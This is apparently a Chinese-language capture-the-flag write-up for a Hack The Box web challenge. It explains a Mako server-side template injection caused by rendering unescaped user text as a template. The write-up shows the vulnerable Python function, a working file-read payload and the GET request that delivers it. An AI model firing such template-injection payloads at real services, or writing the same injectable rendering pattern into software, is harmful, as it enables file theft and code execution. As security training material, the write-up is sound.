[Web] Name Spookifier

Mako SSTI 漏洞利用 | 无过滤读取Flag

Web / SSTI / Mako模板 难度:简单

0x00 题目分析

题目是一个万圣节风格的名字转换器,用户传入 text 参数,后端会将文本转换为4种不同字体并展示。

正常流程中,程序不会主动读取 flag.txt,仅提供文本渲染功能。

0x01 关键代码分析

flag.txt 仅通过 Dockerfile 放入容器,无直接调用:

COPY flag.txt /flag.txt

漏洞点位于 util.pygenerate_render() 函数:

def generate_render(converted_fonts):
    result = '''
        {0}
        {1}
        {2}
        {3}
    '''.format(*converted_fonts)
    return Template(result).render()

用户输入 → format 拼接 → 直接交给 Mako 模板引擎执行 → 造成 SSTI。

0x02 漏洞原理

1. 用户通过 /?text=... 传入恶意内容

2. 经过字体转换后,font4 保留特殊符号 $ { } < %

3. 内容进入模板后被 Template().render() 执行

4. 可执行任意 Python 代码、读取文件

0x03 漏洞利用 Payload

直接读取 /flag.txt:

${open('/flag.txt').read()}

发送方式:

GET /?text=${open('/flag.txt').read()} HTTP/1.1

0x04 成功获取 Flag

服务器执行模板表达式,返回文件内容:

HTB{f4k3_fl4g_f0r_t3st1ng}

0x05 漏洞总结

• 漏洞类型:Mako 服务端模板注入 SSTI

• 根本原因:用户输入未过滤、未转义直接传入模板执行

• 利用难度:极低,font4 无字符过滤,可直接执行 Payload

• 危害:可读取任意文件、RCE(视环境而定)

0x06 Flag